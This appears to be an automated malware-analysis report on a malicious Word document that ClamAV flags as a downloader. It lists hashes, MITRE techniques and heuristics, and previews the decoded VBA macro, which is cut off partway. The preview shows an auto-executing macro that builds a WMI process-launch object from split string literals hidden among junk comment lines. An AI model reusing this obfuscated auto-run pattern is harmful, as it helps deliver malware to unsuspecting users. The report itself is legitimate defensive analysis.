Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01e49b860afa88f8…

MALICIOUS

Office (OLE)

146.6 KB Created: 2019-05-03 12:26:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 6e96933546cf260e7786ffa1b05f6a2d SHA-1: e4303538ca10cff9868cff9d02a8d53580cc951d SHA-256: 01e49b860afa88f8e09ea3f316aacbb01b2dc5611797a9032b1bfece6bdb2c33
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function, indicating immediate execution upon opening. Critical heuristics indicate the use of WMI (Win32_Process.Create) via obfuscated API calls to launch a process, likely to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Smpowloadbb-6961027-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Smpowloadbb-6961027-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8157 bytes
SHA-256: 4553e01b2627dbfe42222be7a92776e18fa733d59270e3090e42006b525c3934
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B9440252"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "N9_9818"
Attribute VB_Base = "0{DC045711-358D-48F7-9ADF-62C99D432B51}{D0B33DFA-DF83-4947-82AD-4164307B530B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q4601_5"

Attribute VB_Name = "X558282"

Attribute VB_Name = "i12476"

Attribute VB_Name = "F45_87"

Attribute VB_Name = "C0_813_9"

Attribute VB_Name = "N825799"

Attribute VB_Name = "F82063"
Attribute VB_Base = "0{AE3BD724-9916-4ECB-A218-AC3BA8DA7FAD}{AF709551-42A6-489B-96C7-E355A2CB64ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l2964381"
Function E_30_0(w8393244)
   With T1238226
'.E81_698 = (Log(h245878) + 806153114 * k_6343)
'.S004328 = (Log(J495_2) + 665909104 * j396942)
'.U7589544 = (Log(P039366) + 471050418 * n005860)
'.H7345308 = (Log(T172268) + 493637045 * z3034_6)
End With
   With N6869_
'.B13_6803 = (Log(O032888) + 166063959 * h6048_)
'.q448_285 = (Log(s6605851) + 993400263 * O179646)
'.N7_16927 = (Log(a37846) + 812719799 * G08_94)
'.o_5023 = (Log(N765870) + 99848213 * L843387)
End With
Set E_30_0 = CVar(w8393244)
   With h38_647
'.D_80727 = (Log(l07_4_57) + 614209116 * T8_22_)
'.Q652071 = (Log(Y25755_0) + 550345396 * Q9783724)
'.m86_654 = (Log(P4062679) + 9033087 * O78746)
'.v4682596 = (Log(t_720_8) + 493753556 * M8021_3)
End With
   With i_670597
'.S3_092 = (Log(w5_6095) + 837679632 * w5_46_)
'.O3585182 = (Log(w224_8) + 497934806 * P54017)
'.G218_000 = (Log(O_0986) + 140546863 * I85499)
'.Y_541847 = (Log(f_3352) + 426437651 * J6998276)
End With
End Function
Sub autoopen()
On Error Resume Next
   With w22506
'.w8_5_98 = (Log(r1354501) + 632499478 * f4751069)
'.b7744385 = (Log(s09265) + 887244126 * O3361071)
'.D303046 = (Log(A33861) + 902065190 * Z071703)
'.E66821 = (Log(r17_0_) + 752561621 * m1796221)
End With
   With C8_13152
'.q_0_0936 = (Log(M86055_0) + 636531591 * Q3_26412)
'.X27642 = (Log(n6390_) + 939839505 * c_4438)
'.j095625 = (Log(p6_4238) + 758984966 * i641343)
'.D03661 = (Log(b93405) + 381184636 * K959775)
End With
Call B11519
   With a2656920
'.v05547 = (Log(q374800) + 625706670 * X1851553)
'.b761465 = (Log(m9394_52) + 383914119 * G_436746)
'.A28__386 = (Log(Z10603) + 228965522 * h319347)
'.i82_10 = (Log(a0488854) + 182687563 * p435__)
End With
   With t61373
'.o0419_ = (Log(t049043) + 210466061 * S73123)
'.P125291 = (Log(K_5393) + 172641077 * W96638)
'.J21882 = (Log(f95586) + 758837335 * D42_75)
'.z96090 = (Log(C7_066) + 794436145 * H6946017)
End With
   With R278_59
'.z012976 = (Log(r252198) + 938800693 * X01372)
'.D6_4962 = (Log(q0557515) + 333705186 * l221665)
'.i615_595 = (Log(v110013) + 662495454 * z933_00)
'.n4151340 = (Log(L77__15) + 693196729 * v4974_)
End With
End Sub

Attribute VB_Name = "S675_5"
Function B11519()
On Error Resume Next
   With l264616
'.i81724 = (Log(N2_3763) + 57777278 * V0011293)
'.n9611104 = (Log(a70_945) + 693025926 * B_0409)
'.h_90389 = (Log(z268_32) + 307062098 * t39817)
'.n0324038 = (Log(h4324866) + 135946684 * m8__94)
End With
   With d1_92841
'.c_97201 = (Log(C21895_5) + 161548203 * k93497_)
'.f_13843 = (Log(v3_50_) + 702817803 * T11_361)
'.k5070951 = (Log(u16245) + 245651282 * P_38817)
'.j972966 = (Log(S52_90) + 583025643 * u087_46)
End With
Set p67569_0 = E_30_0(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
   With J400219
'.G01602 = (Log(i217271) + 875451544 * h74046)
'.Q_33_476 = (Log(A285___) + 228393074 * P9779336)
'.
... (truncated)

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